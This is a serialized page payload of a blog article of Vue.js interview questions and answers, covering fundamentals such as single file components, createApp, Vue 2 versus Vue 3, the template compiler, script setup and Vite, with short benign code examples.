[{"data":1,"prerenderedAt":50066},["ShallowReactive",2],{"/post/top-150-vuejs-interview-questions":3,"related-/frontend/top-150-vuejs-interview-questions":21531},{"id":4,"title":5,"author":6,"body":7,"date":21515,"description":21516,"draft":21517,"extension":21518,"guide":21519,"image":21520,"meta":21521,"navigation":189,"path":21522,"seo":21523,"stem":21524,"tags":21525,"__hash__":21530},"blog/Frontend/3.top-150-vuejs-interview-questions.md","Top 150 Vue.js Interview Questions and Answers","Kashyap Kumar",{"type":8,"value":9,"toc":21256},"minimark",[10,14,28,33,38,41,44,51,55,106,113,119,122,343,369,377,386,460,474,478,617,631,638,644,678,681,727,730,734,737,746,756,763,771,963,984,988,995,1012,1063,1071,1075,1081,1084,1087,1093,1097,1105,1108,1155,1172,1183,1191,1249,1316,1339,1350,1366,1430,1439,1448,1459,1464,1541,1550,1560,1575,1639,1653,1660,1713,1716,1724,1733,1836,1859,1866,1871,1968,1990,2012,2024,2102,2169,2176,2193,2202,2302,2327,2335,2341,2490,2505,2514,2517,2536,2610,2615,2737,2749,2815,2818,2826,2831,2869,2872,2879,2887,2924,2935,2943,2948,3031,3040,3049,3053,3057,3060,3066,3081,3172,3181,3189,3201,3270,3273,3350,3359,3372,3387,3402,3516,3533,3540,3565,3571,3671,3687,3697,3709,3731,3778,3793,3804,3810,3898,3910,3994,4005,4014,4023,4108,4132,4140,4145,4221,4224,4305,4312,4324,4336,4349,4470,4473,4480,4488,4577,4587,4601,4604,4616,4637,4729,4747,4829,4837,4840,4845,4978,4996,5000,5003,5015,5018,5022,5034,5055,5138,5147,5155,5168,5179,5321,5335,5339,5342,5359,5374,5392,5431,5444,5470,5492,5496,5500,5503,5506,5634,5640,5644,5647,5650,5685,5695,5699,5707,5710,5911,5926,5934,5942,6019,6035,6043,6046,6051,6056,6129,6137,6148,6165,6171,6237,6254,6263,6273,6308,6314,6325,6337,6340,6472,6482,6486,6490,6493,6503,6646,6652,6656,6659,6729,6732,6822,6832,6840,6868,7046,7062,7069,7072,7082,7203,7206,7235,7242,7246,7261,7393,7399,7406,7423,7517,7520,7629,7644,7651,7661,7705,7721,7852,7861,7871,7886,7958,7973,7976,8043,8055,8065,8085,8096,8114,8222,8233,8237,8246,8294,8300,8351,8357,8367,8375,8466,8584,8606,8610,8616,8626,8688,8755,8758,8762,8769,8866,8872,8881,8903,8953,8969,8973,8977,8980,8983,9045,9082,9104,9108,9123,9130,9233,9301,9304,9308,9311,9324,9425,9478,9487,9491,9497,9552,9592,9595,9599,9609,9644,9651,9668,9684,9687,9728,9731,9769,9791,9795,9798,9813,9823,9838,10004,10020,10024,10035,10042,10053,10125,10185,10188,10196,10210,10241,10285,10332,10346,10350,10363,10435,10529,10539,10543,10546,10552,10631,10639,10643,10655,10719,10851,10863,10871,10883,10889,11037,11059,11063,11067,11070,11076,11210,11242,11250,11262,11415,11424,11432,11441,11558,11571,11579,11587,11692,11708,11715,11731,11827,11851,11858,11882,11978,11981,11991,11996,12159,12183,12192,12213,12289,12308,12312,12316,12338,12341,12345,12354,12441,12450,12457,12467,12490,12589,12608,12619,12642,12658,12662,12669,12843,12903,12912,12923,12927,12993,12997,13001,13004,13011,13149,13215,13226,13230,13239,13259,13279,13282,13286,13303,13332,13338,13451,13471,13475,13545,13555,13559,13569,13653,13782,13795,13799,13805,13838,13862,13875,13929,13957,13960,13973,13976,13982,13985,14021,14087,14176,14179,14241,14245,14257,14313,14382,14388,14392,14399,14487,14490,14500,14507,14517,14536,14540,14550,14657,14674,14686,14694,14755,14768,14785,14789,14793,14801,14804,14808,14811,14817,14832,14966,14973,14977,14994,14997,15174,15177,15181,15191,15320,15333,15459,15462,15466,15469,15479,15486,15489,15493,15496,15499,15549,15563,15567,15570,15573,15583,15587,15599,15701,15714,15729,15733,15740,15826,15836,15840,15847,15936,15954,15958,15975,16030,16098,16105,16207,16210,16214,16222,16225,16229,16236,16241,16340,16371,16378,16387,16531,16540,16689,16695,16699,16718,16724,16866,16872,16876,16893,17016,17026,17036,17044,17083,17103,17110,17115,17315,17338,17342,17349,17354,17360,17443,17450,17457,17471,17477,17547,17570,17577,17585,17630,17633,17702,17712,17716,17743,17749,17752,17756,17759,17765,17828,17838,17842,17852,17866,17869,17873,17876,17923,17927,17930,17933,17943,17947,17953,18126,18139,18143,18146,18149,18152,18255,18262,18266,18273,18278,18291,18418,18429,18440,18445,18460,18558,18663,18682,18686,18692,18695,18755,18768,18776,18780,18783,18789,18792,18795,18799,18808,18820,18832,18841,18867,18877,18952,18966,18973,18984,19075,19082,19100,19104,19117,19299,19306,19388,19401,19405,19416,19419,19429,19585,19643,19646,19650,19663,19767,19775,19778,19782,19791,19811,19825,19895,19903,19907,19920,19927,20012,20175,20184,20188,20201,20285,20385,20403,20407,20421,20514,20528,20651,20664,20668,20675,20767,20770,20774,20778,20785,20788,20792,20802,20805,20809,20812,20818,20838,20916,20925,20932,20937,21025,21031,21041,21054,21068,21074,21226,21240,21244,21250,21253],[11,12,13],"p",{},"Vue.js interviews rarely test whether you have memorized the documentation. They test whether you actually understand how the framework thinks: how reactivity tracks what changed, how components talk to each other, and why the Composition API exists in the first place. Get those mental models right, and most questions become easy to reason through even if you have never seen the exact wording before.",[11,15,16,17,21,22,27],{},"This article collects 150 of the most common Vue.js interview questions, from the basics of ",[18,19,20],"code",{},"\u003Cscript setup>"," all the way to compiler internals, Vue Router, Pinia, and server-side rendering with Nuxt. It is deliberately framework-specific: you will not find generic JavaScript questions about closures or promises here. If you want that side of the interview covered, the ",[23,24,26],"a",{"href":25},"/post/top-100-frontend-interview-questions","Top 100 Frontend Interview Questions"," article handles HTML, CSS, and JavaScript fundamentals. The answers here are written the way you would actually explain them out loud: a clear definition first, the reasoning behind it, then a short example when it helps the idea stick.",[29,30,32],"h2",{"id":31},"vuejs-fundamentals","Vue.js Fundamentals",[34,35,37],"h3",{"id":36},"_1-what-is-vuejs-and-what-kind-of-problems-does-it-solve","1. What is Vue.js, and what kind of problems does it solve?",[11,39,40],{},"Vue.js is a JavaScript framework for building user interfaces. Instead of writing code that manually finds DOM elements and updates them whenever your data changes, you describe your UI as a template that maps to your data, and Vue takes care of updating the DOM when that data changes.",[11,42,43],{},"The core problem it solves is keeping the UI in sync with application state without you having to track every possible change by hand. As an app grows, manually wiring up event listeners and DOM updates becomes error prone and hard to maintain. Vue's reactivity system watches your data, and its component model lets you break a page into small, reusable, self-contained pieces (each with its own template, logic, and styles) that can be composed into full applications.",[11,45,46,47,50],{},"It scales from a single ",[18,48,49],{},"\u003Cscript>"," tag dropped into an HTML page for small interactive widgets, all the way up to full single-page applications built with Vite, Vue Router, and Pinia.",[34,52,54],{"id":53},"_2-what-are-the-key-features-that-make-vuejs-popular","2. What are the key features that make Vue.js popular?",[56,57,58,66,72,82,88,94,100],"ul",{},[59,60,61,65],"li",{},[62,63,64],"strong",{},"Reactivity system",": change a piece of state and every part of the UI that depends on it updates automatically, no manual DOM wiring.",[59,67,68,71],{},[62,69,70],{},"Approachable templates",": Vue templates are close to plain HTML with a small set of directives added on top, so the learning curve is gentle.",[59,73,74,77,78,81],{},[62,75,76],{},"Single File Components",": template, logic, and styles live together in one ",[18,79,80],{},".vue"," file, which keeps components easy to reason about.",[59,83,84,87],{},[62,85,86],{},"Incremental adoptability",": you can use Vue for one widget on a page, or build an entire app with it, there is no all-or-nothing decision.",[59,89,90,93],{},[62,91,92],{},"Composition API",": lets you organize and reuse logic by feature instead of by option type, which helps in larger components.",[59,95,96,99],{},[62,97,98],{},"Official ecosystem",": Vue Router, Pinia, and Vite are maintained by the same team and designed to work together out of the box.",[59,101,102,105],{},[62,103,104],{},"Performance",": Vue 3's compiler and reactivity system are tuned to do less work at runtime through compile-time optimizations.",[34,107,109,110,112],{"id":108},"_3-what-is-a-single-file-component-vue-file-and-what-are-its-three-blocks","3. What is a Single File Component (",[18,111,80],{}," file), and what are its three blocks?",[11,114,115,116,118],{},"A Single File Component is a ",[18,117,80],{}," file that groups everything a component needs, its markup, its logic, and its styles, into one file instead of spreading them across separate HTML, JS, and CSS files. A build tool (Vite, in modern Vue) compiles this file into a regular JavaScript module.",[11,120,121],{},"It's made up of three blocks:",[123,124,129],"pre",{"className":125,"code":126,"language":127,"meta":128,"style":128},"language-vue shiki shiki-themes github-dark","\u003Ctemplate>\n    \u003Cbutton @click=\"increment\">Count: {{ count }}\u003C/button>\n\u003C/template>\n\n\u003Cscript setup>\nimport { ref } from 'vue'\n\nconst count = ref(0)\n\nfunction increment() {\n    count.value++\n}\n\u003C/script>\n\n\u003Cstyle scoped>\nbutton {\n    color: #10b981\n}\n\u003C/style>\n","vue","",[18,130,131,147,174,184,191,204,220,225,250,255,267,276,282,291,296,309,317,329,334],{"__ignoreMap":128},[132,133,136,140,144],"span",{"class":134,"line":135},"line",1,[132,137,139],{"class":138},"s95oV","\u003C",[132,141,143],{"class":142},"s4JwU","template",[132,145,146],{"class":138},">\n",[132,148,150,153,156,160,163,167,170,172],{"class":134,"line":149},2,[132,151,152],{"class":138},"    \u003C",[132,154,155],{"class":142},"button",[132,157,159],{"class":158},"svObZ"," @click",[132,161,162],{"class":138},"=",[132,164,166],{"class":165},"sU2Wk","\"increment\"",[132,168,169],{"class":138},">Count: {{ count }}\u003C/",[132,171,155],{"class":142},[132,173,146],{"class":138},[132,175,177,180,182],{"class":134,"line":176},3,[132,178,179],{"class":138},"\u003C/",[132,181,143],{"class":142},[132,183,146],{"class":138},[132,185,187],{"class":134,"line":186},4,[132,188,190],{"emptyLinePlaceholder":189},true,"\n",[132,192,194,196,199,202],{"class":134,"line":193},5,[132,195,139],{"class":138},[132,197,198],{"class":142},"script",[132,200,201],{"class":158}," setup",[132,203,146],{"class":138},[132,205,207,211,214,217],{"class":134,"line":206},6,[132,208,210],{"class":209},"snl16","import",[132,212,213],{"class":138}," { ref } ",[132,215,216],{"class":209},"from",[132,218,219],{"class":165}," 'vue'\n",[132,221,223],{"class":134,"line":222},7,[132,224,190],{"emptyLinePlaceholder":189},[132,226,228,231,235,238,241,244,247],{"class":134,"line":227},8,[132,229,230],{"class":209},"const",[132,232,234],{"class":233},"sDLfK"," count",[132,236,237],{"class":209}," =",[132,239,240],{"class":158}," ref",[132,242,243],{"class":138},"(",[132,245,246],{"class":233},"0",[132,248,249],{"class":138},")\n",[132,251,253],{"class":134,"line":252},9,[132,254,190],{"emptyLinePlaceholder":189},[132,256,258,261,264],{"class":134,"line":257},10,[132,259,260],{"class":209},"function",[132,262,263],{"class":158}," increment",[132,265,266],{"class":138},"() {\n",[132,268,270,273],{"class":134,"line":269},11,[132,271,272],{"class":138},"    count.value",[132,274,275],{"class":209},"++\n",[132,277,279],{"class":134,"line":278},12,[132,280,281],{"class":138},"}\n",[132,283,285,287,289],{"class":134,"line":284},13,[132,286,179],{"class":138},[132,288,198],{"class":142},[132,290,146],{"class":138},[132,292,294],{"class":134,"line":293},14,[132,295,190],{"emptyLinePlaceholder":189},[132,297,299,301,304,307],{"class":134,"line":298},15,[132,300,139],{"class":138},[132,302,303],{"class":142},"style",[132,305,306],{"class":158}," scoped",[132,308,146],{"class":138},[132,310,312,314],{"class":134,"line":311},16,[132,313,155],{"class":142},[132,315,316],{"class":138}," {\n",[132,318,320,323,326],{"class":134,"line":319},17,[132,321,322],{"class":233},"    color",[132,324,325],{"class":138},": ",[132,327,328],{"class":233},"#10b981\n",[132,330,332],{"class":134,"line":331},18,[132,333,281],{"class":138},[132,335,337,339,341],{"class":134,"line":336},19,[132,338,179],{"class":138},[132,340,303],{"class":142},[132,342,146],{"class":138},[56,344,345,351,359],{},[59,346,347,350],{},[18,348,349],{},"\u003Ctemplate>"," holds the HTML-like markup for the component.",[59,352,353,355,356,358],{},[18,354,49],{}," (or ",[18,357,20],{},") holds the component's logic: state, computed values, methods, lifecycle hooks.",[59,360,361,364,365,368],{},[18,362,363],{},"\u003Cstyle>"," holds CSS for the component. Adding ",[18,366,367],{},"scoped"," limits those styles to this component only, so they won't leak out and affect other parts of the app.",[34,370,372,373,376],{"id":371},"_4-how-do-you-create-and-mount-a-vue-application-createapp","4. How do you create and mount a Vue application (",[18,374,375],{},"createApp",")?",[11,378,379,381,382,385],{},[18,380,375],{}," is the function that bootstraps a Vue application. You pass it your root component, and it returns an app instance that you then attach to a real DOM element with ",[18,383,384],{},".mount()",".",[123,387,391],{"className":388,"code":389,"language":390,"meta":128,"style":128},"language-js shiki shiki-themes github-dark","// main.js\nimport { createApp } from 'vue'\nimport App from './App.vue'\n\nconst app = createApp(App)\n\napp.mount('#app')\n","js",[18,392,393,399,410,422,426,441,445],{"__ignoreMap":128},[132,394,395],{"class":134,"line":135},[132,396,398],{"class":397},"sAwPA","// main.js\n",[132,400,401,403,406,408],{"class":134,"line":149},[132,402,210],{"class":209},[132,404,405],{"class":138}," { createApp } ",[132,407,216],{"class":209},[132,409,219],{"class":165},[132,411,412,414,417,419],{"class":134,"line":176},[132,413,210],{"class":209},[132,415,416],{"class":138}," App ",[132,418,216],{"class":209},[132,420,421],{"class":165}," './App.vue'\n",[132,423,424],{"class":134,"line":186},[132,425,190],{"emptyLinePlaceholder":189},[132,427,428,430,433,435,438],{"class":134,"line":193},[132,429,230],{"class":209},[132,431,432],{"class":233}," app",[132,434,237],{"class":209},[132,436,437],{"class":158}," createApp",[132,439,440],{"class":138},"(App)\n",[132,442,443],{"class":134,"line":206},[132,444,190],{"emptyLinePlaceholder":189},[132,446,447,450,453,455,458],{"class":134,"line":222},[132,448,449],{"class":138},"app.",[132,451,452],{"class":158},"mount",[132,454,243],{"class":138},[132,456,457],{"class":165},"'#app'",[132,459,249],{"class":138},[11,461,462,465,466,469,470,473],{},[18,463,464],{},"createApp(App)"," creates the app instance, and ",[18,467,468],{},".mount('#app')"," tells Vue to render the root component into the DOM element with ",[18,471,472],{},"id=\"app\"",", replacing its contents. Everything registered on this app instance, global components, directives, plugins like Vue Router or Pinia, is scoped to this one application, which also makes it possible to run multiple independent Vue apps on the same page without them interfering with each other.",[34,475,477],{"id":476},"_5-what-is-the-difference-between-vue-2-and-vue-3-at-a-high-level","5. What is the difference between Vue 2 and Vue 3 at a high level?",[479,480,481,497],"table",{},[482,483,484],"thead",{},[485,486,487,491,494],"tr",{},[488,489,490],"th",{},"Aspect",[488,492,493],{},"Vue 2",[488,495,496],{},"Vue 3",[498,499,500,519,532,543,554,571,596,606],"tbody",{},[485,501,502,506,512],{},[503,504,505],"td",{},"Reactivity",[503,507,508,511],{},[18,509,510],{},"Object.defineProperty"," getters/setters",[503,513,514,515,518],{},"ES ",[18,516,517],{},"Proxy",", can detect property addition/deletion and array index changes",[485,520,521,524,527],{},[503,522,523],{},"API style",[503,525,526],{},"Options API only",[503,528,529,530],{},"Options API and Composition API, ",[18,531,20],{},[485,533,534,537,540],{},[503,535,536],{},"Root template nodes",[503,538,539],{},"Exactly one root element required",[503,541,542],{},"Multiple root nodes (fragments) allowed",[485,544,545,548,551],{},[503,546,547],{},"TypeScript",[503,549,550],{},"Bolted on, weaker inference",[503,552,553],{},"Written in TypeScript, first-class inference",[485,555,556,559,565],{},[503,557,558],{},"Global API",[503,560,561,564],{},[18,562,563],{},"Vue.component(...)",", mutates a global",[503,566,567,570],{},[18,568,569],{},"createApp(...)"," instance, no shared global state",[485,572,573,576,586],{},[503,574,575],{},"Built-in components",[503,577,578,581,582,585],{},[18,579,580],{},"\u003CTransition>",", ",[18,583,584],{},"\u003CKeepAlive>"," similar",[503,587,588,589,592,593],{},"Same, plus ",[18,590,591],{},"\u003CTeleport>"," and ",[18,594,595],{},"\u003CSuspense>",[485,597,598,600,603],{},[503,599,104],{},[503,601,602],{},"Good",[503,604,605],{},"Faster initial render and updates via compiler optimizations (static hoisting, patch flags)",[485,607,608,611,614],{},[503,609,610],{},"Support",[503,612,613],{},"End of life since end of 2023",[503,615,616],{},"Actively developed, default for new projects",[11,618,619,620,581,623,626,627,630],{},"Practically, the two biggest changes for day to day development are the Proxy-based reactivity system (which removed a lot of Vue 2's edge cases around adding new object properties or setting array indices) and the Composition API, which gives you a way to organize logic by feature instead of splitting it across ",[18,621,622],{},"data",[18,624,625],{},"methods",", and ",[18,628,629],{},"computed",". The Options API still works in Vue 3, so existing Vue 2 knowledge carries over, it's just no longer the default recommendation.",[34,632,634,635,637],{"id":633},"_6-what-does-the-vue-template-compiler-do-to-your-template-block","6. What does the Vue template compiler do to your ",[18,636,349],{}," block?",[11,639,640,641,643],{},"Vue's compiler turns your ",[18,642,349],{}," block into a JavaScript render function that produces virtual DOM nodes, roughly the same job JSX does in React, except Vue does it for its own HTML-like template syntax instead of requiring JSX.",[123,645,647],{"className":125,"code":646,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cp>{{ message }}\u003C/p>\n\u003C/template>\n",[18,648,649,657,670],{"__ignoreMap":128},[132,650,651,653,655],{"class":134,"line":135},[132,652,139],{"class":138},[132,654,143],{"class":142},[132,656,146],{"class":138},[132,658,659,661,663,666,668],{"class":134,"line":149},[132,660,152],{"class":138},[132,662,11],{"class":142},[132,664,665],{"class":138},">{{ message }}\u003C/",[132,667,11],{"class":142},[132,669,146],{"class":138},[132,671,672,674,676],{"class":134,"line":176},[132,673,179],{"class":138},[132,675,143],{"class":142},[132,677,146],{"class":138},[11,679,680],{},"compiles down to something conceptually like:",[123,682,684],{"className":388,"code":683,"language":390,"meta":128,"style":128},"function render(ctx) {\n    return h('p', null, ctx.message)\n}\n",[18,685,686,702,723],{"__ignoreMap":128},[132,687,688,690,693,695,699],{"class":134,"line":135},[132,689,260],{"class":209},[132,691,692],{"class":158}," render",[132,694,243],{"class":138},[132,696,698],{"class":697},"s9osk","ctx",[132,700,701],{"class":138},") {\n",[132,703,704,707,710,712,715,717,720],{"class":134,"line":149},[132,705,706],{"class":209},"    return",[132,708,709],{"class":158}," h",[132,711,243],{"class":138},[132,713,714],{"class":165},"'p'",[132,716,581],{"class":138},[132,718,719],{"class":233},"null",[132,721,722],{"class":138},", ctx.message)\n",[132,724,725],{"class":134,"line":176},[132,726,281],{"class":138},[11,728,729],{},"The important part is that this doesn't happen by naively re-running that function and diffing everything on every update. Vue 3's compiler analyzes the template ahead of time and adds optimizations: it marks static content (content with no bindings) so it's created once and skipped on every future re-render (static hoisting), and it attaches \"patch flags\" to dynamic nodes that tell the runtime exactly what kind of thing changed (text, a class, a prop), so updates only touch what actually needs touching instead of doing a full diff of the whole tree. This is why Vue 3 templates tend to outperform a hand-written render function for the same UI, the compiler has information a hand-written function doesn't.",[34,731,733],{"id":732},"_7-what-is-the-difference-between-the-runtime-only-build-and-the-runtimecompiler-build-of-vue","7. What is the difference between the runtime-only build and the runtime+compiler build of Vue?",[11,735,736],{},"The runtime-only build contains everything needed to create components and update the DOM, but it does not include the template-to-render-function compiler. The runtime+compiler build includes that compiler as well, so it can compile a template string into a render function directly in the browser.",[11,738,739,740,742,743,745],{},"When you build a Vue app with Vite (or Vue CLI before it), your ",[18,741,80],{}," files' ",[18,744,349],{}," blocks are compiled to render functions ahead of time, during the build step. Because of that, the app only ever needs the smaller, runtime-only build in production, there's nothing left to compile at runtime.",[11,747,748,749,751,752,755],{},"You need the runtime+compiler build only in the rarer case where Vue has to compile a template string that exists at runtime rather than build time, for example mounting straight onto an in-DOM template with no build step, or passing a template string via the ",[18,750,143],{}," option. For a normal SFC-based project scaffolded with ",[18,753,754],{},"create-vue",", this distinction is handled for you automatically and you'll almost never touch it directly.",[34,757,759,760,762],{"id":758},"_8-what-is-script-setup-and-why-is-it-now-the-recommended-way-to-write-components","8. What is ",[18,761,20],{},", and why is it now the recommended way to write components?",[11,764,765,767,768,770],{},[18,766,20],{}," is a compile-time shorthand for using the Composition API inside a Single File Component. Anything you declare at the top level, variables, functions, imports, is automatically available in the ",[18,769,349],{}," block, without you needing to explicitly return it.",[123,772,774],{"className":125,"code":773,"language":127,"meta":128,"style":128},"\u003C!-- Without \u003Cscript setup> -->\n\u003Cscript>\nimport { ref } from 'vue'\n\nexport default {\n    setup() {\n        const count = ref(0)\n        function increment() {\n            count.value++\n        }\n        return { count, increment }\n    }\n}\n\u003C/script>\n\n\u003C!-- With \u003Cscript setup> -->\n\u003Cscript setup>\nimport { ref } from 'vue'\n\nconst count = ref(0)\nfunction increment() {\n    count.value++\n}\n\u003C/script>\n",[18,775,776,781,789,799,803,813,820,837,846,853,858,866,871,875,883,887,892,902,912,916,933,942,949,954],{"__ignoreMap":128},[132,777,778],{"class":134,"line":135},[132,779,780],{"class":397},"\u003C!-- Without \u003Cscript setup> -->\n",[132,782,783,785,787],{"class":134,"line":149},[132,784,139],{"class":138},[132,786,198],{"class":142},[132,788,146],{"class":138},[132,790,791,793,795,797],{"class":134,"line":176},[132,792,210],{"class":209},[132,794,213],{"class":138},[132,796,216],{"class":209},[132,798,219],{"class":165},[132,800,801],{"class":134,"line":186},[132,802,190],{"emptyLinePlaceholder":189},[132,804,805,808,811],{"class":134,"line":193},[132,806,807],{"class":209},"export",[132,809,810],{"class":209}," default",[132,812,316],{"class":138},[132,814,815,818],{"class":134,"line":206},[132,816,817],{"class":158},"    setup",[132,819,266],{"class":138},[132,821,822,825,827,829,831,833,835],{"class":134,"line":222},[132,823,824],{"class":209},"        const",[132,826,234],{"class":233},[132,828,237],{"class":209},[132,830,240],{"class":158},[132,832,243],{"class":138},[132,834,246],{"class":233},[132,836,249],{"class":138},[132,838,839,842,844],{"class":134,"line":227},[132,840,841],{"class":209},"        function",[132,843,263],{"class":158},[132,845,266],{"class":138},[132,847,848,851],{"class":134,"line":252},[132,849,850],{"class":138},"            count.value",[132,852,275],{"class":209},[132,854,855],{"class":134,"line":257},[132,856,857],{"class":138},"        }\n",[132,859,860,863],{"class":134,"line":269},[132,861,862],{"class":209},"        return",[132,864,865],{"class":138}," { count, increment }\n",[132,867,868],{"class":134,"line":278},[132,869,870],{"class":138},"    }\n",[132,872,873],{"class":134,"line":284},[132,874,281],{"class":138},[132,876,877,879,881],{"class":134,"line":293},[132,878,179],{"class":138},[132,880,198],{"class":142},[132,882,146],{"class":138},[132,884,885],{"class":134,"line":298},[132,886,190],{"emptyLinePlaceholder":189},[132,888,889],{"class":134,"line":311},[132,890,891],{"class":397},"\u003C!-- With \u003Cscript setup> -->\n",[132,893,894,896,898,900],{"class":134,"line":319},[132,895,139],{"class":138},[132,897,198],{"class":142},[132,899,201],{"class":158},[132,901,146],{"class":138},[132,903,904,906,908,910],{"class":134,"line":331},[132,905,210],{"class":209},[132,907,213],{"class":138},[132,909,216],{"class":209},[132,911,219],{"class":165},[132,913,914],{"class":134,"line":336},[132,915,190],{"emptyLinePlaceholder":189},[132,917,919,921,923,925,927,929,931],{"class":134,"line":918},20,[132,920,230],{"class":209},[132,922,234],{"class":233},[132,924,237],{"class":209},[132,926,240],{"class":158},[132,928,243],{"class":138},[132,930,246],{"class":233},[132,932,249],{"class":138},[132,934,936,938,940],{"class":134,"line":935},21,[132,937,260],{"class":209},[132,939,263],{"class":158},[132,941,266],{"class":138},[132,943,945,947],{"class":134,"line":944},22,[132,946,272],{"class":138},[132,948,275],{"class":209},[132,950,952],{"class":134,"line":951},23,[132,953,281],{"class":138},[132,955,957,959,961],{"class":134,"line":956},24,[132,958,179],{"class":138},[132,960,198],{"class":142},[132,962,146],{"class":138},[11,964,965,966,969,970,973,974,977,978,980,981,983],{},"It's recommended over the plain Composition API syntax and over the Options API for a few concrete reasons. There's much less boilerplate: no wrapping ",[18,967,968],{},"setup()"," function, no manual ",[18,971,972],{},"return"," statement, no ",[18,975,976],{},"components: {}"," registration since imported components are used directly in the template. TypeScript inference works better because everything is a normal top-level binding rather than being funneled through an object literal. It also compiles to more efficient JavaScript than a plain ",[18,979,49],{}," component, since the compiler can statically link template usages directly to the setup bindings. The Options API still exists and is fully supported, but for new components ",[18,982,20],{}," is what the Vue team and most current documentation lead with.",[34,985,987],{"id":986},"_9-what-is-the-difference-between-a-vue-app-instance-and-a-component-instance","9. What is the difference between a Vue \"app instance\" and a \"component instance\"?",[11,989,990,991,994],{},"The app instance is created once, at the top of your application, with ",[18,992,993],{},"createApp()",". It represents the whole application and is where you register things globally: global components, directives, plugins (Vue Router, Pinia), and app-level configuration. There's typically only one app instance per application.",[11,996,997,998,1001,1002,1005,1006,1008,1009,1011],{},"A component instance exists per component, per place it's used. Every time a ",[18,999,1000],{},"\u003CUserCard>"," component is rendered on the page, Vue creates a separate component instance for it, holding that specific instance's local state (its ",[18,1003,1004],{},"ref","s, ",[18,1007,629],{},"s, props, and so on). Two ",[18,1010,1000],{}," components on the same page have two entirely independent component instances, even though they share the same component definition.",[123,1013,1015],{"className":388,"code":1014,"language":390,"meta":128,"style":128},"const app = createApp(App)   // one app instance\napp.component('UserCard', UserCard)  // registered globally, on the app\napp.mount('#app')\n",[18,1016,1017,1033,1051],{"__ignoreMap":128},[132,1018,1019,1021,1023,1025,1027,1030],{"class":134,"line":135},[132,1020,230],{"class":209},[132,1022,432],{"class":233},[132,1024,237],{"class":209},[132,1026,437],{"class":158},[132,1028,1029],{"class":138},"(App)   ",[132,1031,1032],{"class":397},"// one app instance\n",[132,1034,1035,1037,1040,1042,1045,1048],{"class":134,"line":149},[132,1036,449],{"class":138},[132,1038,1039],{"class":158},"component",[132,1041,243],{"class":138},[132,1043,1044],{"class":165},"'UserCard'",[132,1046,1047],{"class":138},", UserCard)  ",[132,1049,1050],{"class":397},"// registered globally, on the app\n",[132,1052,1053,1055,1057,1059,1061],{"class":134,"line":176},[132,1054,449],{"class":138},[132,1056,452],{"class":158},[132,1058,243],{"class":138},[132,1060,457],{"class":165},[132,1062,249],{"class":138},[11,1064,1065,1066,592,1068,1070],{},"With the Composition API you rarely interact with component instances directly, ",[18,1067,1004],{},[18,1069,629],{}," already give you what you need inside a component. But the distinction still matters conceptually: app-level registration (plugins, global components) happens once on the app instance, while a component's own reactive state is scoped to its own component instance and doesn't leak to other instances of the same component.",[34,1072,1074],{"id":1073},"_10-what-is-vite-and-why-did-the-vue-ecosystem-move-to-it-from-webpack-based-tooling","10. What is Vite, and why did the Vue ecosystem move to it from Webpack-based tooling?",[11,1076,1077,1078,1080],{},"Vite is a build tool created by Evan You, Vue's creator, and it's now the default tooling for new Vue projects (via ",[18,1079,754],{},"), replacing the older Webpack-based Vue CLI.",[11,1082,1083],{},"The main problem it solves is dev server startup and update speed on larger applications. Webpack-based tools have to bundle your entire dependency graph before the dev server can serve the first page, which gets slower as a project grows. Vite instead serves your source files as native ES modules directly to the browser during development, so there's no upfront bundling step, the dev server starts almost instantly regardless of app size. It pre-bundles heavier dependencies (like Vue itself or large npm packages) once using esbuild, which is written in Go and dramatically faster than JavaScript-based bundlers for that job.",[11,1085,1086],{},"Hot Module Replacement is also faster with Vite, because when you edit a file, Vite only needs to invalidate and re-serve that one module over the existing native ESM graph, instead of re-bundling a chunk of the dependency graph the way Webpack does.",[11,1088,1089,1090,1092],{},"For production builds, Vite switches to Rollup, which produces a well-optimized, tree-shaken bundle. Vue CLI is now in maintenance mode, and Vite, alongside first-class support for ",[18,1091,20],{}," SFC compilation, is the officially recommended way to scaffold and build Vue applications today.",[29,1094,1096],{"id":1095},"template-syntax-and-directives","Template Syntax and Directives",[34,1098,1100,1101,1104],{"id":1099},"_11-what-is-template-interpolation-the-mustache-syntax","11. What is template interpolation (the mustache ",[18,1102,1103],{},"{{ }}"," syntax)?",[11,1106,1107],{},"Template interpolation is how you insert a JavaScript value into the text content of an element using double curly braces. Vue evaluates the expression inside the braces and inserts the result as text, then keeps it updated automatically whenever the underlying reactive data changes.",[123,1109,1111],{"className":125,"code":1110,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cp>Hello, {{ user.name }}\u003C/p>\n    \u003Cp>{{ price * quantity }}\u003C/p>\n\u003C/template>\n",[18,1112,1113,1121,1134,1147],{"__ignoreMap":128},[132,1114,1115,1117,1119],{"class":134,"line":135},[132,1116,139],{"class":138},[132,1118,143],{"class":142},[132,1120,146],{"class":138},[132,1122,1123,1125,1127,1130,1132],{"class":134,"line":149},[132,1124,152],{"class":138},[132,1126,11],{"class":142},[132,1128,1129],{"class":138},">Hello, {{ user.name }}\u003C/",[132,1131,11],{"class":142},[132,1133,146],{"class":138},[132,1135,1136,1138,1140,1143,1145],{"class":134,"line":176},[132,1137,152],{"class":138},[132,1139,11],{"class":142},[132,1141,1142],{"class":138},">{{ price * quantity }}\u003C/",[132,1144,11],{"class":142},[132,1146,146],{"class":138},[132,1148,1149,1151,1153],{"class":134,"line":186},[132,1150,179],{"class":138},[132,1152,143],{"class":142},[132,1154,146],{"class":138},[11,1156,1157,1158,1160,1161,592,1164,1167,1168,1171],{},"The content inside ",[18,1159,1103],{}," must be a single JavaScript expression, not a statement, so ",[18,1162,1163],{},"{{ user.name }}",[18,1165,1166],{},"{{ isActive ? 'On' : 'Off' }}"," work, but assignments or ",[18,1169,1170],{},"if"," statements do not. This keeps templates declarative: you say what should be displayed, not the sequence of steps to compute and update it, and Vue's reactivity system handles re-rendering that text whenever the referenced values change.",[34,1173,1175,1176,592,1179,1182],{"id":1174},"_12-what-is-the-difference-between-v-bind-and-v-on-and-what-are-their-shorthand-forms","12. What is the difference between ",[18,1177,1178],{},"v-bind",[18,1180,1181],{},"v-on",", and what are their shorthand forms?",[11,1184,1185,1187,1188,1190],{},[18,1186,1178],{}," connects a piece of reactive data to an HTML attribute or a component prop, keeping it updated when the data changes. ",[18,1189,1181],{}," attaches an event listener to an element or component, running a handler when that event 